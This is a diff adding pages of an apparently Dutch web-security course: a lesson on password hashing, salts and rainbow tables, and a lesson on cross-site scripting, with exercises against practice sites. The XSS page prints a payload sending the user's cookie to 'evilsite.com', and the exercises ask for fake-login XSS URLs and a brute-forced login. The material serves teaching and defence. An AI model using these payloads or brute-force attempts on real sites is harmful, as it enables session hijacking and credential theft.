--- a/static/img/zoekterm.png
+++ b/static/img/zoekterm.png
--- a/static/js/jquery-2.1.0.min.js
+++ b/static/js/jquery-2.1.0.min.js
--- a/static/js/jquery.base64.min.js
+++ b/static/js/jquery.base64.min.js
@ -0,0 +1 @@
+"use strict";jQuery.base64=(function($){var _PADCHAR="=",_ALPHA="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",_VERSION="1.0";function _getbyte64(s,i){var idx=_ALPHA.indexOf(s.charAt(i));if(idx===-1){throw"Cannot decode base64"}return idx}function _decode(s){var pads=0,i,b10,imax=s.length,x=[];s=String(s);if(imax===0){return s}if(imax%4!==0){throw"Cannot decode base64"}if(s.charAt(imax-1)===_PADCHAR){pads=1;if(s.charAt(imax-2)===_PADCHAR){pads=2}imax-=4}for(i=0;i<imax;i+=4){b10=(_getbyte64(s,i)<<18)|(_getbyte64(s,i+1)<<12)|(_getbyte64(s,i+2)<<6)|_getbyte64(s,i+3);x.push(String.fromCharCode(b10>>16,(b10>>8)&255,b10&255))}switch(pads){case 1:b10=(_getbyte64(s,i)<<18)|(_getbyte64(s,i+1)<<12)|(_getbyte64(s,i+2)<<6);x.push(String.fromCharCode(b10>>16,(b10>>8)&255));break;case 2:b10=(_getbyte64(s,i)<<18)|(_getbyte64(s,i+1)<<12);x.push(String.fromCharCode(b10>>16));break}return x.join("")}function _getbyte(s,i){var x=s.charCodeAt(i);if(x>255){throw"INVALID_CHARACTER_ERR: DOM Exception 5"}return x}function _encode(s){if(arguments.length!==1){throw"SyntaxError: exactly one argument required"}s=String(s);var i,b10,x=[],imax=s.length-s.length%3;if(s.length===0){return s}for(i=0;i<imax;i+=3){b10=(_getbyte(s,i)<<16)|(_getbyte(s,i+1)<<8)|_getbyte(s,i+2);x.push(_ALPHA.charAt(b10>>18));x.push(_ALPHA.charAt((b10>>12)&63));x.push(_ALPHA.charAt((b10>>6)&63));x.push(_ALPHA.charAt(b10&63))}switch(s.length-imax){case 1:b10=_getbyte(s,i)<<16;x.push(_ALPHA.charAt(b10>>18)+_ALPHA.charAt((b10>>12)&63)+_PADCHAR+_PADCHAR);break;case 2:b10=(_getbyte(s,i)<<16)|(_getbyte(s,i+1)<<8);x.push(_ALPHA.charAt(b10>>18)+_ALPHA.charAt((b10>>12)&63)+_ALPHA.charAt((b10>>6)&63)+_PADCHAR);break}return x.join("")}return{decode:_decode,encode:_encode,VERSION:_VERSION}}(jQuery));
--- a/static/js/quiz.js
+++ b/static/js/quiz.js
@ -0,0 +1,69 @@
+$(function () {
+
+    var changed = false;
+
+    // Hints
+    $('.hint').replaceWith(function () {
+        return '<div><a href="#" class="hintlink" onclick="$(this).next().slideToggle(); return false;">Bekijk hint</a>' + $(this).hide()[0].outerHTML + '</div>';
+    });
+
+    $('#difficulty').change(function (e) {
+        var option = $(this).find(':selected').val();
+
+
+        $('.hintlink').toggle(option == 'normal');
+        $('.hint').toggle(option == 'easy');
+
+
+        window.localStorage.setItem('difficulty', option);
+    });
+
+    // Set the selected property
+    if (window.localStorage['difficulty']) {
+        var difficulty = window.localStorage['difficulty'];
+    } else {
+        var difficulty = 'normal';
+    }
+
+    $('#difficulty option').filter(function () {
+        return $(this).val() == difficulty;
+    }).prop('selected', true);
+    $('#difficulty').trigger('change');
+
+    function loadPage(page) {
+        $('#quiz').load('/' + page + '.html?cachebuster=' + Math.random());
+    }
+
+    function getPage(link) {
+        if (link.lastIndexOf('?') === -1) {
+            return '';
+        }
+        return link.substring(link.lastIndexOf('?') + 1);
+    }
+
+    // Dynamically load pages
+    $('#menu a').click(function (e, element) {
+        var page = getPage(e.target.href);
+
+        window.history.pushState({ page: page }, 'Security', e.target.href);
+        loadPage(page);
+        e.preventDefault();
+    });
+
+    window.onpopstate = function (event) {
+        if (event.state) {
+            loadPage(event.state.page);
+        } else {
+            window.location.href = '/';
+        }
+    }
+
+    // Load page
+    var page = getPage(window.location.href);
+    if (page !== '') {
+        loadPage(page);
+    } else {
+        loadPage('sql');
+    }
+
+});
--- a/static/js/semantic.min.js
+++ b/static/js/semantic.min.js
--- a/static/secret.txt.asc
+++ b/static/secret.txt.asc
@ -0,0 +1,17 @@
+-----BEGIN PGP MESSAGE-----
+
+owEBXgKh/ZANAwACAdVV8vX6nhxaAawuYglwbGFpbi50eHRVdLQaVGhlIE5hcndo
+YWwgQmFjb25zIGF0IE1pZG5pZ2h0CokCHAQAAQIABgUCVXS0GgAKCRDVVfL1+p4c
+Wl31EACZ0itLnfLQrkFYGEa8DxgG6O101oc350JekBI7mIm1x556M3dIkyDTSqPd
+1gY+5wE3iklSnqPAfRSskclQ5SahK7mIjRw8NoCpWGRdFT/2u15lZofqGMV23T1R
+hEuxxNlZwcWEWDg2Ixx6OqE836Qm+ITaS12ok5qDZFxj4hd4C7uinAv5CWKIyvwl
+l5ZwwWB4p+NT6JxY6p5Pw0J5xPVCE+pAFesPUwAYydQ5CabgdfRyjc6iMQz+GRFD
+Qs7kWuZ2JKPWm+2h0UQa38Id66fd4l38x16+rerIEG8XTMlfiXgtCPT9Rkdxb8lD
+bZQJefupCPP/EAQnZOPzHFbZ32PaOnp0DTLi641W24rb0hwD2LPHIRh+KPWfwaVl
+1BSEGE3STDjN0CGaTE1KDM5p5TEhML4/LwRucdp+y8c3f1gyWNd8ChnA9aCFr5w
+h4FIpE1gAd6XANkVGCIHlZ0Lzxu022zjNFPW2sQeFJy1ZEqBAAwaOlnceztTyx6c
+J+TNey4lYy2F4hVn/QxYF5kMUIEw22y4tMmwX4tOVkgg5I0X+mf2Csosbfz7Xsn3
+0i4utcTqwmVov3obPQj1QprBeSMXoYSJMyUCO7eIE9eqeGy0uMO6xkG3Z2QGsZNS
+aAzu9msSLIc5cQWx9Pva9pafC/sFIyJWudBlf8UEkeIFSll9FQ==
+=h6Mi
+-----END PGP MESSAGE-----
--- a/wachtwoorden.html
+++ b/wachtwoorden.html
@ -0,0 +1,389 @@
+<h1>Wachtwoorden</h1>
+
+<img src="/static/img/password.png" class="center-block">
+
+<p>Deze week gaan we kijken naar hoe je wachtwoorden van gebruikers veilig kan opslaan. We hebben al gezien dat het niet onmogelijk
+  is om data uit de database te pulken met SQL injection. Als je een kolom hebt in je database 'wachtwoord' waar je je wachtwoorden
+  zomaar neerzet loop je een groot risico dat een aanvaller achter alle wachtwoorden van je gebruikers komt. Gelukkig is
+  er ook een veilige manier om wachtwoorden op te slaan, en wel door ze te
+  <b>hashen</b>.</p>
+
+<h3>Hashfunctie</h3>
+
+<p>Een hashfunctie (md5, sha1 en tientallen andere) neemt een stuk data (zoals een wachtwoord) als invoer en geeft een willekeurige
+  uitziende string als uitvoer. De uitvoer van een hashfunctie is altijd even lang, ongeacht de lengte van de invoer.</p>
+
+<input type="text" onkeyup="$('#hashed').val(md5($(this).val()))" style="width: 30%;"> > md5 >
+<input id="hashed" type="text" style="width: 50%;" value="d41d8cd98f00b204e9800998ecf8427e" readonly="">
+
+<p>Zo'n functie lijkt misschien een nutteloos iets, want je kan van de hash niet meer terug naar de originele invoer. Maar daar
+  ligt juist de kracht van de hash functie: als de aanvaller een hash van het wachtwoord heeft kan hij niet terugrekenen
+  wat het wachtwoord was. Hash functies zijn ontzettend moeilijk is om terug te rekenen, daar zijn ze op gemaakt. Zo moeilijk
+  dat eigenlijk de enige 'praktische' optie is om alle mogelijke invoeren uit te proberen om te kijken of het uitkomt op
+  dezelfde hash (brute-force).</p>
+
+<p>Gelukkig hoef jij als programmeur van de website de hash niet terug te rekenen om hem te kunnen gebruiken. Als een gebruiker
+  inlogt hash je opnieuw het wachtwoord wat hij invult. Komt deze hash overeen met wat in de database staat? Dan heeft hij
+  hetzelfde wachtwoord ingevuld!</p>
+
+<h3>Rainbow tables</h3>
+
+<p>Zo moeilijk als het is om een hash terug te
+  <i>rekenen</i>, zo makkelijk is het om een hash terug
+  <i>
+    <a href="http://www.google.nl/?q=97307d691e6665ff81acc1783c4da63e" target="_blank">op te zoeken</a>
+  </i>. Aanvallers hebben de hashes van alle veel gebruikte wachtwoorden, korte lettercombinaties en woordenboekwoorden al berekend
+  en opgeslagen in zogenaamde rainbow tables. Terug opzoeken wat de originele waarde van een hash was wordt dan zo simpel
+  als een simpele query uitvoeren. Mits de waarde in de tabel zit natuurlijk, en dat is meteen ook de verdediging tegen deze
+  aanval:</p>
+
+<h3>Salt</h3>
+<p>Om te voorkomen dat zwakke veelvoorkomende kunnen worden teruggevonden in een rainbow table kan je er een salt achter plakken
+  voordat je het hasht. Een salt is een lange string met random inhoud (bijvoorbeeld: 'R!Qo?Og4U]m'). De kans is klein dat
+  zo'n waarde in een rainbow table voorkomt. Dus zelfs als de aanvaller de salt te weten komt is hij terug bij af: hij moet
+  al zijn combinaties opnieuw uitproberen, dit keer met jouw salt er achter.</p>
+
+<img src="/static/img/password-salt.jpg" class="center-block" style="width: 40%">
+
+<h1>Opdrachten</h1>
+
+<div class="question">
+  <span class="question-string">Je hebt uit een database het volgende gehashte wachtwoord gehaald: d59084b66e167f13bef93b1a5d07acd2 Welk wachtwoord had
+    deze gebruiker?</span>
+</div>
+
+<div class="question">
+  <span class="question-string">Hoe had de programmeur kunnen voorkomen dat jij achter het wachtwoord kon komen?</span>
+</div>
+
+<h2>Nieuws</h2>
+<p>Een andere hacker heeft de gegevens van de inlogpagina van Nieuws.nl online gepost. Gelukkig voor de site zijn de wachtwoorden
+  gehasht en gesalt, dus aan de hash zelf kunnen we geen informatie afleiden. Op de nieuws (gebruikers) pagina kan je de
+  tabel inzien.</p>
+
+<p>Maar er valt je wel iets op aan de hashes. Heleboel gebruikers hebben dezelfde hash. Waarschijnlijk hebben deze gebruikers
+  een veelgebruikt wachtwoord.</p>
+
+<p>Je bent geïnteresseerd in het wachtwoord van Pete, brute-force zijn wachtwoord door in te loggen op de inlogpagina!</p>
+
+<p class="hint">Hint: Zoek op internet naar lijsten van veelgebruikte wachtwoorden en probeer ze uit.</p>
+
+<p class="hint">Hint 2: Het wachtwoord is allemaal kleine letters</p>
+
+<div class="question">
+  <span class="question-string">Wat is het wachtwoord van Pete?</span>
+</div>
+
+<div class="question">
+  <span class="question-string">Hoe had de programmeur kunnen voorkomen dat een hacker kon zien dat al deze gebruikers hetzelfde wachtwoord hebben?</span>
+</div>
+
+<p>Na een hoop manuren werk heeft Nieuws.nl hun huiswerk gedaan en slaan ze dit keer wachtwoorden op een echt veilige manier
+  op. Niemand die dit keer de site kan kraken! Eindelijk kunnen mensen weer inloggen en gebruik maken van hun account, de
+  site wordt feestelijk weer geopend.</p>
+
+<p>Een week later is de site gehackt en hebben de hackers alles weer verwijderd. Onderzoekers kunnen op de server alleen een
+  kort fragment van een logbestand terugvinden:</p>
+
+<code class="center-block">
+          ...<br>
+          2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947E'<br>
+          2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947F'<br>
+          2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947G'<br>
+          2013-05-23 14:15:56 Inlogpoging account 'Admin' wachtwoord '55020947H'<br>
+          2013-05-23 14:15:56 Inlogpoging account 'Admin' wachtwoord '55020947I'<br>
+          2013-05-23 14:15:56 Gebruiker 'Admin' ingelogd<br>
+      </code>
+
+<div class="question">
+  <span class="question-string">Welke fout hebben de programmeurs van Nieuws.nl gemaakt? Beschrijf kort hoe je de site kan programmeren om deze aanval
+    te voorkomen.</span>
+</div>
+
+<img src="/static/img/password2.jpg" class="center-block">
+
+
+<script>
+  function utf8_encode(argString) {
+    //  discuss at: http://phpjs.org/functions/utf8_encode/
+    // original by: Webtoolkit.info (http://www.webtoolkit.info/)
+    // improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
+    // improved by: sowberry
+    // improved by: Jack
+    // improved by: Yves Sucaet
+    // improved by: kirilloid
+    // bugfixed by: Onno Marsman
+    // bugfixed by: Onno Marsman
+    // bugfixed by: Ulrich
+    // bugfixed by: Rafal Kukawski
+    // bugfixed by: kirilloid
+    //   example 1: utf8_encode('Kevin van Zonneveld');
+    //   returns 1: 'Kevin van Zonneveld'
+
+    if (argString === null || typeof argString === 'undefined') {
+      return '';
+    }
+
+    // .replace(/\r\n/g, "\n").replace(/\r/g, "\n");
+    var string = (argString + '');
+    var utftext = '',
+      start, end, stringl = 0;
+
+    start = end = 0;
+    stringl = string.length;
+    for (var n = 0; n < stringl; n++) {
+      var c1 = string.charCodeAt(n);
+      var enc = null;
+
+      if (c1 < 128) {
+        end++;
+      } else if (c1 > 127 && c1 < 2048) {
+        enc = String.fromCharCode(
+          (c1 >> 6) | 192, (c1 & 63) | 128
+        );
+      } else if ((c1 & 0xF800) != 0xD800) {
+        enc = String.fromCharCode(
+          (c1 >> 12) | 224, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128
+        );
+      } else {
+        // surrogate pairs
+        if ((c1 & 0xFC00) != 0xD800) {
+          throw new RangeError('Unmatched trail surrogate at ' + n);
+        }
+        var c2 = string.charCodeAt(++n);
+        if ((c2 & 0xFC00) != 0xDC00) {
+          throw new RangeError('Unmatched lead surrogate at ' + (n - 1));
+        }
+        c1 = ((c1 & 0x3FF) << 10) + (c2 & 0x3FF) + 0x10000;
+        enc = String.fromCharCode(
+          (c1 >> 18) | 240, ((c1 >> 12) & 63) | 128, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128
+        );
+      }
+      if (enc !== null) {
+        if (end > start) {
+          utftext += string.slice(start, end);
+        }
+        utftext += enc;
+        start = end = n + 1;
+      }
+    }
+
+    if (end > start) {
+      utftext += string.slice(start, stringl);
+    }
+
+    return utftext;
+  }
+  function md5(str) {
+    //  discuss at: http://phpjs.org/functions/md5/
+    // original by: Webtoolkit.info (http://www.webtoolkit.info/)
+    // improved by: Michael White (http://getsprink.com)
+    // improved by: Jack
+    // improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
+    //    input by: Brett Zamir (http://brett-zamir.me)
+    // bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
+    //  depends on: utf8_encode
+    //   example 1: md5('Kevin van Zonneveld');
+    //   returns 1: '6e658d4bfcb59cc13f96c14450ac40b9'
+
+    var xl;
+
+    var rotateLeft = function (lValue, iShiftBits) {
+      return (lValue << iShiftBits) | (lValue >>> (32 - iShiftBits));
+    };
+
+    var addUnsigned = function (lX, lY) {
+      var lX4, lY4, lX8, lY8, lResult;
+      lX8 = (lX & 0x80000000);
+      lY8 = (lY & 0x80000000);
+      lX4 = (lX & 0x40000000);
+      lY4 = (lY & 0x40000000);
+      lResult = (lX & 0x3FFFFFFF) + (lY & 0x3FFFFFFF);
+      if (lX4 & lY4) {
+        return (lResult ^ 0x80000000 ^ lX8 ^ lY8);
+      }
+      if (lX4 | lY4) {
+        if (lResult & 0x40000000) {
+          return (lResult ^ 0xC0000000 ^ lX8 ^ lY8);
+        } else {
+          return (lResult ^ 0x40000000 ^ lX8 ^ lY8);
+        }
+      } else {
+        return (lResult ^ lX8 ^ lY8);
+      }
+    };
+
+    var _F = function (x, y, z) {
+      return (x & y) | ((~x) & z);
+    };
+    var _G = function (x, y, z) {
+      return (x & z) | (y & (~z));
+    };
+    var _H = function (x, y, z) {
+      return (x ^ y ^ z);
+    };
+    var _I = function (x, y, z) {
+      return (y ^ (x | (~z)));
+    };
+
+    var _FF = function (a, b, c, d, x, s, ac) {
+      a = addUnsigned(a, addUnsigned(addUnsigned(_F(b, c, d), x), ac));
+      return addUnsigned(rotateLeft(a, s), b);
+    };
+
+    var _GG = function (a, b, c, d, x, s, ac) {
+      a = addUnsigned(a, addUnsigned(addUnsigned(_G(b, c, d), x), ac));
+      return addUnsigned(rotateLeft(a, s), b);
+    };
+
+    var _HH = function (a, b, c, d, x, s, ac) {
+      a = addUnsigned(a, addUnsigned(addUnsigned(_H(b, c, d), x), ac));
+      return addUnsigned(rotateLeft(a, s), b);
+    };
+
+    var _II = function (a, b, c, d, x, s, ac) {
+      a = addUnsigned(a, addUnsigned(addUnsigned(_I(b, c, d), x), ac));
+      return addUnsigned(rotateLeft(a, s), b);
+    };
+
+    var convertToWordArray = function (str) {
+      var lWordCount;
+      var lMessageLength = str.length;
+      var lNumberOfWords_temp1 = lMessageLength + 8;
+      var lNumberOfWords_temp2 = (lNumberOfWords_temp1 - (lNumberOfWords_temp1 % 64)) / 64;
+      var lNumberOfWords = (lNumberOfWords_temp2 + 1) * 16;
+      var lWordArray = new Array(lNumberOfWords - 1);
+      var lBytePosition = 0;
+      var lByteCount = 0;
+      while (lByteCount < lMessageLength) {
+        lWordCount = (lByteCount - (lByteCount % 4)) / 4;
+        lBytePosition = (lByteCount % 4) * 8;
+        lWordArray[lWordCount] = (lWordArray[lWordCount] | (str.charCodeAt(lByteCount) << lBytePosition));
+        lByteCount++;
+      }
+      lWordCount = (lByteCount - (lByteCount % 4)) / 4;
+      lBytePosition = (lByteCount % 4) * 8;
+      lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80 << lBytePosition);
+      lWordArray[lNumberOfWords - 2] = lMessageLength << 3;
+      lWordArray[lNumberOfWords - 1] = lMessageLength >>> 29;
+      return lWordArray;
+    };
+
+    var wordToHex = function (lValue) {
+      var wordToHexValue = '',
+        wordToHexValue_temp = '',
+        lByte, lCount;
+      for (lCount = 0; lCount <= 3; lCount++) {
+        lByte = (lValue >>> (lCount * 8)) & 255;
+        wordToHexValue_temp = '0' + lByte.toString(16);
+        wordToHexValue = wordToHexValue + wordToHexValue_temp.substr(wordToHexValue_temp.length - 2, 2);
+      }
+      return wordToHexValue;
+    };
+
+    var x = [],
+      k, AA, BB, CC, DD, a, b, c, d, S11 = 7,
+      S12 = 12,
+      S13 = 17,
+      S14 = 22,
+      S21 = 5,
+      S22 = 9,
+      S23 = 14,
+      S24 = 20,
+      S31 = 4,
+      S32 = 11,
+      S33 = 16,
+      S34 = 23,
+      S41 = 6,
+      S42 = 10,
+      S43 = 15,
+      S44 = 21;
+
+    str = this.utf8_encode(str);
+    x = convertToWordArray(str);
+    a = 0x67452301;
+    b = 0xEFCDAB89;
+    c = 0x98BADCFE;
+    d = 0x10325476;
+
+    xl = x.length;
+    for (k = 0; k < xl; k += 16) {
+      AA = a;
+      BB = b;
+      CC = c;
+      DD = d;
+      a = _FF(a, b, c, d, x[k + 0], S11, 0xD76AA478);
+      d = _FF(d, a, b, c, x[k + 1], S12, 0xE8C7B756);
+      c = _FF(c, d, a, b, x[k + 2], S13, 0x242070DB);
+      b = _FF(b, c, d, a, x[k + 3], S14, 0xC1BDCEEE);
+      a = _FF(a, b, c, d, x[k + 4], S11, 0xF57C0FAF);
+      d = _FF(d, a, b, c, x[k + 5], S12, 0x4787C62A);
+      c = _FF(c, d, a, b, x[k + 6], S13, 0xA8304613);
+      b = _FF(b, c, d, a, x[k + 7], S14, 0xFD469501);
+      a = _FF(a, b, c, d, x[k + 8], S11, 0x698098D8);
+      d = _FF(d, a, b, c, x[k + 9], S12, 0x8B44F7AF);
+      c = _FF(c, d, a, b, x[k + 10], S13, 0xFFFF5BB1);
+      b = _FF(b, c, d, a, x[k + 11], S14, 0x895CD7BE);
+      a = _FF(a, b, c, d, x[k + 12], S11, 0x6B901122);
+      d = _FF(d, a, b, c, x[k + 13], S12, 0xFD987193);
+      c = _FF(c, d, a, b, x[k + 14], S13, 0xA679438E);
+      b = _FF(b, c, d, a, x[k + 15], S14, 0x49B40821);
+      a = _GG(a, b, c, d, x[k + 1], S21, 0xF61E2562);
+      d = _GG(d, a, b, c, x[k + 6], S22, 0xC040B340);
+      c = _GG(c, d, a, b, x[k + 11], S23, 0x265E5A51);
+      b = _GG(b, c, d, a, x[k + 0], S24, 0xE9B6C7AA);
+      a = _GG(a, b, c, d, x[k + 5], S21, 0xD62F105D);
+      d = _GG(d, a, b, c, x[k + 10], S22, 0x2441453);
+      c = _GG(c, d, a, b, x[k + 15], S23, 0xD8A1E681);
+      b = _GG(b, c, d, a, x[k + 4], S24, 0xE7D3FBC8);
+      a = _GG(a, b, c, d, x[k + 9], S21, 0x21E1CDE6);
+      d = _GG(d, a, b, c, x[k + 14], S22, 0xC33707D6);
+      c = _GG(c, d, a, b, x[k + 3], S23, 0xF4D50D87);
+      b = _GG(b, c, d, a, x[k + 8], S24, 0x455A14ED);
+      a = _GG(a, b, c, d, x[k + 13], S21, 0xA9E3E905);
+      d = _GG(d, a, b, c, x[k + 2], S22, 0xFCEFA3F8);
+      c = _GG(c, d, a, b, x[k + 7], S23, 0x676F02D9);
+      b = _GG(b, c, d, a, x[k + 12], S24, 0x8D2A4C8A);
+      a = _HH(a, b, c, d, x[k + 5], S31, 0xFFFA3942);
+      d = _HH(d, a, b, c, x[k + 8], S32, 0x8771F681);
+      c = _HH(c, d, a, b, x[k + 11], S33, 0x6D9D6122);
+      b = _HH(b, c, d, a, x[k + 14], S34, 0xFDE5380C);
+      a = _HH(a, b, c, d, x[k + 1], S31, 0xA4BEEA44);
+      d = _HH(d, a, b, c, x[k + 4], S32, 0x4BDECFA9);
+      c = _HH(c, d, a, b, x[k + 7], S33, 0xF6BB4B60);
+      b = _HH(b, c, d, a, x[k + 10], S34, 0xBEBFBC70);
+      a = _HH(a, b, c, d, x[k + 13], S31, 0x289B7EC6);
+      d = _HH(d, a, b, c, x[k + 0], S32, 0xEAA127FA);
+      c = _HH(c, d, a, b, x[k + 3], S33, 0xD4EF3085);
+      b = _HH(b, c, d, a, x[k + 6], S34, 0x4881D05);
+      a = _HH(a, b, c, d, x[k + 9], S31, 0xD9D4D039);
+      d = _HH(d, a, b, c, x[k + 12], S32, 0xE6DB99E5);
+      c = _HH(c, d, a, b, x[k + 15], S33, 0x1FA27CF8);
+      b = _HH(b, c, d, a, x[k + 2], S34, 0xC4AC5665);
+      a = _II(a, b, c, d, x[k + 0], S41, 0xF4292244);
+      d = _II(d, a, b, c, x[k + 7], S42, 0x432AFF97);
+      c = _II(c, d, a, b, x[k + 14], S43, 0xAB9423A7);
+      b = _II(b, c, d, a, x[k + 5], S44, 0xFC93A039);
+      a = _II(a, b, c, d, x[k + 12], S41, 0x655B59C3);
+      d = _II(d, a, b, c, x[k + 3], S42, 0x8F0CCC92);
+      c = _II(c, d, a, b, x[k + 10], S43, 0xFFEFF47D);
+      b = _II(b, c, d, a, x[k + 1], S44, 0x85845DD1);
+      a = _II(a, b, c, d, x[k + 8], S41, 0x6FA87E4F);
+      d = _II(d, a, b, c, x[k + 15], S42, 0xFE2CE6E0);
+      c = _II(c, d, a, b, x[k + 6], S43, 0xA3014314);
+      b = _II(b, c, d, a, x[k + 13], S44, 0x4E0811A1);
+      a = _II(a, b, c, d, x[k + 4], S41, 0xF7537E82);
+      d = _II(d, a, b, c, x[k + 11], S42, 0xBD3AF235);
+      c = _II(c, d, a, b, x[k + 2], S43, 0x2AD7D2BB);
+      b = _II(b, c, d, a, x[k + 9], S44, 0xEB86D391);
+      a = addUnsigned(a, AA);
+      b = addUnsigned(b, BB);
+      c = addUnsigned(c, CC);
+      d = addUnsigned(d, DD);
+    }
+
+    var temp = wordToHex(a) + wordToHex(b) + wordToHex(c) + wordToHex(d);
+
+    return temp.toLowerCase();
+  }
+</script>
--- a/xss.html
+++ b/xss.html
@ -0,0 +1,244 @@
+<style>
+  .screenshot {
+    box-shadow: 0 0 15px #888;
+  }
+
+  figure {
+    float: right;
+    width: 30%;
+  }
+
+  figure img {}
+
+  figcaption {
+    margin-top: 10px;
+    font-size: smaller;
+    color: gray;
+    text-align: center;
+  }
+</style>
+
+<h1>Cross-site Scripting</h1>
+
+<figure>
+  <img src="/static/img/rabobank.png" class="screenshot">
+  <figcaption>Iemand heeft
+    <i>iets</i> veranderd aan de HTML, durf je nog in te loggen?</figcaption>
+</figure>
+
+<p>We gaan verder met cross-site scripting, op het web zie je dit vaak afgekort als
+  <b>XSS</b> (omdat 'CSS' al was gepikt door de bekende stylesheets taal). Bij een XSS aanval probeert de aanvaller een extra
+  stukje HTML toe te voegen op de pagina. Als iemand onbedoeld extra HTML tags of zelfs Javascript met de &lt;script&gt;
+  tag kan toevoegen is er sprake van een XSS aanval.</p>
+
+<p>Het gevaar van deze extra HTML is dat het gebruikt kan worden om mensen te misleiden om bijvoorbeeld een formulier met login
+  gegevens te veranderen zodat die wordt gestuurd naar de server van de aanvaller. Of om Javascript toe te voegen die automatisch
+  jouw session cookie doorstuurt zodat de aanvaller kan verder surfen in jouw account.</p>
+
+<h3>Reflected</h3>
+
+<figure>
+  <img class="screenshot" src="/static/img/zoekterm.png">
+  <figcaption>Informatie uit de URL wordt herhaald in de pagina. Een mogelijke XSS aanval.</figcaption>
+</figure>
+
+<p>Bij een reflected attack worden gegevens uit de URL letterlijk weergegeven in de pagina. Gegevens uit de URL printen is iets
+  wat pagina's regelmatig doen. Denk maar eens aan een zoekpagina waar de queryterm zowel in een GET parameter staat als
+  op de webpagina zelf.</p>
+
+
+
+<p>Als de website zich niet tegen XSS heeft beveiligd kan je via de URL HTML 'injecten' in de pagina en zo op allerlei manieren
+  de functionaliteit van de pagina veranderen. Het enige wat je hoeft te doen is een gebruiker op jouw URL laten klikken.
+  Met een beetje javascript magie kan je zelfs de lange URL met HTML er in vervangen door iets wat er onschuldig uitziet.
+  The perfect crime!</p>
+
+<h3>Stored</h3>
+
+<p>Een andere manier om jouw scriptjes te laten draaien in andermans pagina is via de database. Stel er is een site met een
+  invoerveld waar een gebruiker wat kan invullen dat wordt opgeslagen in een database (denk aan: forumposts, comments, wiki's).
+  En stel die informatie wordt later weer aan gebruikers getoond (niet zo'n heel hypothetisch geval, dit beschrijft zo'n
+  90% van alle websites). Als de site niet goed beveiligd is kan je in de database &lt;script&gt; tags met Javascript opslaan
+  die vervolgens in de browsers van andere gebruikers kan laten runnen.</p>
+
+<p>Zo'n aanval is vaak veel schadelijker omdat gebruikers dan niet naar een specifieke URL hoeven te gaan om de code uit te
+  laten voeren, met alleen maar 'normaal' de site te gebruiken zijn ze al de klos.</p>
+
+<h3>Aanvallen</h3>
+
+<h4>HTML toevoegen</h4>
+
+<p>Als je HTML toe kan voegen kan je gebruikers pagina's laten zien die eigenlijk helemaal niet bestaan. Denk bijvoorbeeld aan
+  een &lt;form&gt; die gebruikers vraagt om persoonlijke details en wachtwoorden. Dit formulier post dan uiteraard naar de
+  site van de aanvaller zodat deze de gegevens weer kan gebruiken voor zijn eigen doeleinden.</p>
+
+<h4>Javascript toevoegen</h4>
+
+<p>Gevaarlijker is als het mogelijk is Javascript toe te voegen. Vaak doe je dit door een simpele &lt;script&gt; tag toe te
+  voegen aan de HTML waar je je Javascript in zet. Met Javascript is het mogelijk om cookies en localstorage van de gebruiker
+  te stelen. Stel bijvoorbeeld eens dat we onderstaande HTML toevoegen aan een pagina:</p>
+
+<p>
+  <code>&lt;script&gt;document.location.href='http://evilsite.com/logcookie.php?cookie='+document.cookie;&lt;/script&gt;</code>
+</p>
+
+<p>Zodra de gebruiker de pagina laad wordt bovenstaande Javascript uitgevoerd. De browser gaat dan automatisch naar de site
+  van de aanvaller. Met de informatie uit de cookie van de gebruiker. En omdat in de cookie vaak een sessiontoken staat kan
+  de aanvaller deze cookie gebruiken om de gebruiker na te doen en zijn account over te nemen.</p>
+
+<h3>Countermeasures</h3>
+
+<p>De belangrijkste regel bij websecurity is:
+  <b>vertrouw nooit input van gebruikers</b>. Ga er van uit dat ze alle mogelijke invoer hebben gevuld met zoveel mogelijk rare
+  tekens in de hoop dat ze iets voorbij jouw filters krijgen. De oplossing voor dit probleem is dan ook om alle invoer die
+  je weer weergeeft op de pagina te
+  <b>escapen</b>.</p>
+
+<p>In HTML kan je dat doen door alle speciale tekens te vervangen door hun HTML entities.
+  <code>&quot;</code> wordt dan bijvoorbeeld
+  <code>&amp;quot;</code> en
+  <code>&lt;</code> wordt
+  <code>&amp;lt;</code>. Deze entities worden altijd letterlijk weergegeven door de browser en worden nooit als nieuwe tags en attributen gezien.</p>
+
+<p>Let op dat het uitmaakt waar in de HTML je de invoer van de gebruiker plaatst. Stel dat je de site zo geprogrammeerd hebt:</p>
+
+
+<code>&lt;script&gt;<b>gebruikersinvoer hier</b>&lt;/script&gt;</p></code>
+
+<p>Dan heeft geen enkele escape actie zin meer, het is dan bijna altijd mogelijk om Javascript op je site uit te voeren. Het
+  zal je verbazen hoeveel sites bijna letterlijk bovenstaande code in zich hebben om 'handig' Javascript variabelen op een
+  bepaalde waarde te zetten.</p>
+
+<h1>Opdrachten</h1>
+
+<h2>Bank</h2>
+<p>We gaan opnieuw kijken naar de Bank website. Ze hebben tijdelijk hun login formulier uitgeschakeld, maar daarmee zijn ze
+  nog steeds niet veilig van hun beveiligingsproblemen.</p>
+
+<p>Ga naar de
+  <span class="website">"Bank (xss)"</span> pagina voor de volgende opdrachten.</a>
+</p>
+
+<div class="question">
+  <span class="question-string">Maak een URL die Javascript aan de pagina toevoegd zodat deze 'XSS' in een alert-dialoog weergeeft.</span>
+</div>
+
+<div class="question">
+  <span class="question-string">Maak een URL die een nep inlogformulier laat zien. Bij het verzenden van dit formulier wordt de informatie naar andere
+    server gestuurd.</span>
+</div>
+
+<div class="question">
+  <span class="question-string">Bekijk de
+    <a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/message.php#L38" target="_blank">broncode</a>. Voeg een fix toe om deze aanval te voorkomen.</span>
+</div>
+
+<p>Een slimme gebruiker ziet aan de URL nu natuurlijk meteen dat er iets verdachts aan de hand is. Maar het is met een beetje
+  extra Javascript mogelijk om de URL te veranderen zodat deze er weer onschuldig uitziet.</p>
+
+<p class="hint">
+  <strong>Hint:</strong> Zoek eens naar
+  <code>window.history.pushState</code>.</p>
+
+<div class="question">
